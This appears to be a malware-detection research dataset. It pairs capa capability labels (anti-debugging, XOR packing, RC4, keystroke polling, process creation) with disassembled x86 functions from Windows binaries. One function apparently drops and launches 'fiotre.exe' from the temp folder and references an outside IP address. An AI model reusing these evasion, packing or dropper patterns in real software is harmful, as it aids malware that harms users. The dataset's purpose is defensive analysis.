joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e6a0
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bfc38
push 0x46d274
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
rdtsc
mov esi, eax
mov edi, edx
call ebx
rdtsc
pop ebx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0xffffffff
xor esi, esi
mov edi, dword [ebp - 0x20]
push 1
push esi
push esi
mov eax, dword [ebp - 0x28]
push eax
call fcn.0046b4f0
sub eax, esi
sbb edx, edi
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
sbb edx, esi
mov ecx, dword [ebp - 0x24]
add eax, ecx
adc edx, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45e850
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x9c
push eax
call esi
test eax, eax
jne 0x45e891
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x94
push ecx
call esi
test eax, eax
je 0x45e8fe
cmp dword [esp + 0x1c], 2
jne 0x45e8fe
cmp dword [esp + 0x10], 5
jne 0x45e8fe
cmp dword [esp + 0x14], 1
jne 0x45e8fe
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45e8e8
push str.IsWow64Process
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x45e8d9
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
jmp 0x45e8e1
mov dword [esp + 8], 0
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 8]
test eax, eax
je 0x45e8fe
pop edi
mov eax, 1
pop esi
add esp, 0xa0
ret
pop edi
xor eax, eax
pop esi
add esp, 0xa0
ret

Function at 0x47dff9
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x47e031
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047c0b0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047c088
jmp 0x47e03d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47f6ee
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x47f730
call fcn.00485464
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x47f730
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x47f727
xor eax, eax
jmp 0x47f738
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0047f73e
pop edi
pop esi
pop ebx
ret 4
Function at 0x485994
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4859c2
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4859e0
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004858fa
jmp 0x4859e0
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4859e0
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004858fa
test edi, edi
mov eax, edi
jne 0x4859ca
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x418d20
push 0x67
push esi
call edi
push 0x64
push 0x418c58
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401190
push 0
push esi
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0xcf0000
push 0x418d20
push 0x418c58
push 0
mov dword [0x418de8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401092
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404553
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00402a83
call fcn.00402050
test eax, eax
je 0x4010c3
call fcn.00403184
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012e0
test eax, eax
je 0x40107a
call fcn.00401490
mov ecx, dword [0x419688]
test ecx, ecx
jbe 0x4010fb
cmp word [0x41968c], 0
jbe 0x4010fb
mov esi, str.218.54.31.226
call fcn.00403811
mov ax, word [0x41968c]
mov word [0x41808c], ax
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + str.fiotre.exe]
mov word [eax + 0x419bc0], cx
add eax, 2
test cx, cx
jne 0x401100
call fcn.00403875
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.00408070
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x419bc0
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00404562
add esp, 0xc
push 0x1f4
call edi
push 1
push 0
push 0x414e40
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
sub ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
pop edi
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
test eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
test eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
test eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x45ec74
Capabilities:
Parse pe header

Disassembly:
push ebx
jmp 0x45e66a
call 0x45e63b
stosb byte es:[edi], al
xchg dword [esp], ebx
lea ebx, [ebx + 0x4f2]
xchg dword [esp], ebx
jmp 0x45ec6e
push ebp
jmp 0x45ec67
push edi
jmp 0x45e635
push esi
jmp 0x45eb3f
call 0x45ec74
and byte [edi - 0x4972dbcc], al
or esp, edi
invalid
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0xac17146
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x5a8f061d
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x40d93c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
xor ecx, ecx
xor ebx, ebx
xor esi, esi
cmp dword [ebp + 8], ecx
jbe 0x40d9a6
nop dword [eax]
lea eax, [ebx + 1]
movzx ebx, al
mov dl, byte [ebx + edi]
movzx eax, dl
add eax, ecx
movzx ecx, al
mov dword [ebp - 8], ecx
movzx eax, byte [ecx + edi]
mov byte [ebx + edi], al
mov byte [ecx + edi], dl
movzx ecx, byte [ebx + edi]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x40d993
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [ecx + edi]
mov ecx, dword [ebp - 4]
xor byte [esi + ecx], al
inc esi
mov ecx, dword [ebp - 8]
cmp esi, dword [ebp + 8]
jb 0x40d95c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40301c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x403028
push 0x403024
push 0x403020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x403028]
push dword [0x403024]
push dword [0x403020]
mov dword [0x403014], esp
call fcn.00401a14
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40129c
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
fldz
fstp dword [0x403098]
fldz
fstp dword [0x40309c]
xor edi, edi
fldz
fstp dword [edi*4 + 0x402010]
fldz
fstp dword [edi*4 + 0x4020e0]
inc edi
cmp edi, 0x32
jl 0x4012ba
push 0x9c40
push 0
push dword [0x402008]
call sub.CRTDLL.DLL_memset
add esp, 0xc
push str.C:NIT.INI
push 0x9c3c
push dword [0x402008]
call sub.KERNEL32.DLL_GetPrivateProfileSectionNamesA
mov esi, dword [0x402008]
jmp 0x401427
xor edi, edi
cmp byte [esi], 0
je 0x40131d
mov eax, esi
inc esi
mov al, byte [eax]
mov byte [ebp + edi - 0x40], al
inc edi
cmp edi, 0x3f
jl 0x401309
mov byte [ebp + edi - 0x40], 0
push str.C:NIT.INI
push 0x40
lea eax, [ebp - 0x80]
push eax
push 0x403949
push str.Valid
lea eax, [ebp - 0x40]
push eax
call sub.KERNEL32.DLL_GetPrivateProfileStringA
lea eax, [ebp - 0x84]
push eax
push 0x403946
lea eax, [ebp - 0x80]
push eax
call sub.CRTDLL.DLL_sscanf
fld dword [ebp - 0x84]
fadd dword [0x403098]
fstp dword [0x403098]
push str.C:NIT.INI
push 0x40
lea eax, [ebp - 0x80]
push eax
push 0x403949
push str.Total
lea eax, [ebp - 0x40]
push eax
call sub.KERNEL32.DLL_GetPrivateProfileStringA
lea eax, [ebp - 0x88]
push eax
push 0x403946
lea eax, [ebp - 0x80]
push eax
call sub.CRTDLL.DLL_sscanf
add esp, 0x18
fld dword [ebp - 0x88]
fadd dword [0x40309c]
fstp dword [0x40309c]
jmp 0x4013b2
dec edi
or edi, edi
jle 0x4013bd
cmp byte [ebp + edi - 0x40], 0x2e
jne 0x4013b1
cmp edi, 4
jl 0x401426
sub edi, 4
xor ebx, ebx
jmp 0x4013db
mov eax, edi
inc edi
imul edx, ebx, 0xa
movsx eax, byte [ebp + eax - 0x40]
add edx, eax
mov ebx, edx
sub ebx, 0x30
cmp byte [ebp + edi - 0x40], 0x2e
jne 0x4013c9
xor edi, edi
cmp dword [edi*8 + 0x4030a0], ebx
je 0x4013f6
inc edi
cmp edi, 0x108
jl 0x4013e4
cmp edi, 0x108
jge 0x401426
mov edx, dword [edi*8 + 0x4030a4]
fld dword [ebp - 0x84]
fstp dword [edx*4 + 0x402010]
mov edx, dword [edi*8 + 0x4030a4]
fld dword [ebp - 0x88]
fstp dword [edx*4 + 0x4020e0]
inc esi
cmp byte [esi], 0
jne 0x401307
push dword [ebp + 8]
call sub.USER32.DLL_GetDC
mov edi, eax
push edi
call fcn.004014c6
pop ecx
push edi
push dword [ebp + 8]
call sub.USER32.DLL_ReleaseDC
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401808
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push edi
mov eax, dword [ebp + 8]
mov dword [section..bss], eax
push 0x4038e5
push str.NitScoreClass
call sub.USER32.DLL_FindWindowA
mov edi, eax
or edi, edi
je 0x401833
xor eax, eax
jmp 0x401a0f
push 0x9c40
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [0x402008], eax
or eax, eax
je 0x401a0f
push 0x9c40
push 0
push dword [0x402008]
call sub.CRTDLL.DLL_memset
push 0x28
push 0
lea eax, [ebp - 0x44]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0x18
mov dword [ebp - 0x44], 0xb
lea eax, [0x401599]
mov dword [ebp - 0x40], eax
mov eax, dword [section..bss]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], 6
lea eax, str.NitScoreClass
mov dword [ebp - 0x20], eax
and dword [ebp - 0x24], 0
push 0x7f00
push 0
call sub.USER32.DLL_LoadCursorA
mov dword [ebp - 0x2c], eax
push 0x7f00
push 0
call sub.USER32.DLL_LoadIconA
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x44]
push eax
call sub.USER32.DLL_RegisterClassA
or ax, ax
jne 0x4018d8
push dword [0x402008]
call sub.CRTDLL.DLL_free
pop ecx
xor eax, eax
jmp 0x401a0f
push 0
push dword [section..bss]
push 0
push 0
push 0x14
push 0x60
push 0
push 0x64
push 0x90000000
push 0x4038e5
push str.NitScoreClass
push 0x188
call sub.USER32.DLL_CreateWindowExA
mov dword [0x4020d8], eax
or eax, eax
jne 0x401931
push dword [0x402008]
call sub.CRTDLL.DLL_free
pop ecx
push dword [section..bss]
push str.NitScoreClass
call sub.USER32.DLL_UnregisterClassA
xor eax, eax
jmp 0x401a0f
push 0x4038e0
push 0
push 0
push 0
push 0
push 1
push 0
push 0
push 0
push 0x190
push 0
push 0
push 6
push 0xc
call sub.GDI32.DLL_CreateFontA
mov dword [0x402004], eax
push 0x44
push 3
push 0x1234
push dword [0x4020d8]
call sub.USER32.DLL_RegisterHotKey
push 0x53
push 3
push 0x4321
push dword [0x4020d8]
call sub.USER32.DLL_RegisterHotKey
push 0
push 0x7d0
push 0xc8
push dword [0x4020d8]
call sub.USER32.DLL_SetTimer
push dword [0x403094]
push dword [0x4020d8]
call sub.USER32.DLL_ShowWindow
push dword [0x4020d8]
call fcn.0040129c
pop ecx
jmp 0x4019cd
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_TranslateMessage
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_DispatchMessageA
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_GetMessageA
or eax, eax
jne 0x4019bb
push dword [0x402008]
call sub.CRTDLL.DLL_free
pop ecx
push 0xc8
push dword [0x4020d8]
call sub.USER32.DLL_KillTimer
push dword [section..bss]
push str.NitScoreClass
call sub.USER32.DLL_UnregisterClassA
mov eax, dword [ebp - 0x14]
pop edi
leave
ret 0x10
Function at 0x401a14
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x401a48
push 0x22
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 4], eax
or eax, eax
je 0x401a63
mov edi, eax
inc edi
jmp 0x401a40
inc edi
cmp byte [edi], 0x20
je 0x401a3f
jmp 0x401a63
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x401a54
cmp eax, 0x20
jne 0x401a47
jmp 0x401a57
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x401a63
cmp eax, 0x20
je 0x401a56
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.00401808
pop edi
leave
ret
Function at 0x40d5f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4795eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046e0ac
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40d672
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046bd9d
mov eax, dword [eax]
push 0x4a5200
push eax
call fcn.0045e9b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046e337
test bl, bl
je 0x40d672
push 0x4a5200
lea ecx, [esp + 0xc]
call fcn.0046e6c7
push 0x4a8d74
lea ecx, [esp + 0xc]
call fcn.0046e6c7
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40d6ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046e337
jmp 0x40d779
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40d732
lea edx, [esp + 0x7c]
push 0x4a8d70
push edx
call fcn.0045e9b4
add esp, 8
test eax, eax
je 0x40d732
lea eax, [esp + 0x7c]
push 0x4a8d6c
push eax
call fcn.0045e9b4
add esp, 8
test eax, eax
je 0x40d732
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40d6c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046e337
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40df70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40dfd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40dfe0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47966b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4b4ba8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40e118
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40e046
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046e337
xor eax, eax
jmp 0x40e18f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046e474
push esi
lea ecx, [esp + 0xc]
call fcn.0046e703
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4a8dac
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40e16d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040df70
test eax, eax
jne 0x40e16d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040df70
test eax, eax
jne 0x40e16d
lea eax, [esp + 0x14]
push 0x4a8d88
push eax
call fcn.0045f9f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e14c
lea ecx, [esp + 0x14]
push 0x4a8d84
push ecx
call fcn.0045f970
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e14c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40e14f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046e424
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40e05e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046e337
xor eax, eax
jmp 0x40e18f
mov byte [esi], 0
push 0x4a8d80
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046e337
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x421100
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42116e
cmp si, 0x69
ja 0x42116e
add esi, 0xffd0
cmp si, 0x11
je 0x42113e
push 0x11
call edi
test ax, ax
jge 0x42113e
or esi, 0x2000
cmp si, 0x10
je 0x421153
push 0x10
call edi
test ax, ax
jge 0x421153
or esi, 0x4000
cmp si, 0x12
je 0x421168
push 0x12
call edi
test ax, ax
jge 0x421168
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42117b
mov esi, 0xbd
jmp 0x42112f
cmp si, 0x6e
jne 0x421188
mov esi, 0xbe
jmp 0x42112f
cmp si, 0x6f
jne 0x421129
mov esi, 0xbf
jmp 0x42112f

Function at 0x422820
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4c5238]
xor edx, edx
cmp eax, edx
jne 0x422846
xor eax, eax
mov byte [eax + 0x4c5138], al
inc eax
cmp eax, 0x100
jl 0x42282e
mov dword [0x4c5238], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4c5138
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4228d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4228aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x422878
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x422950
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4229a3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42298a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret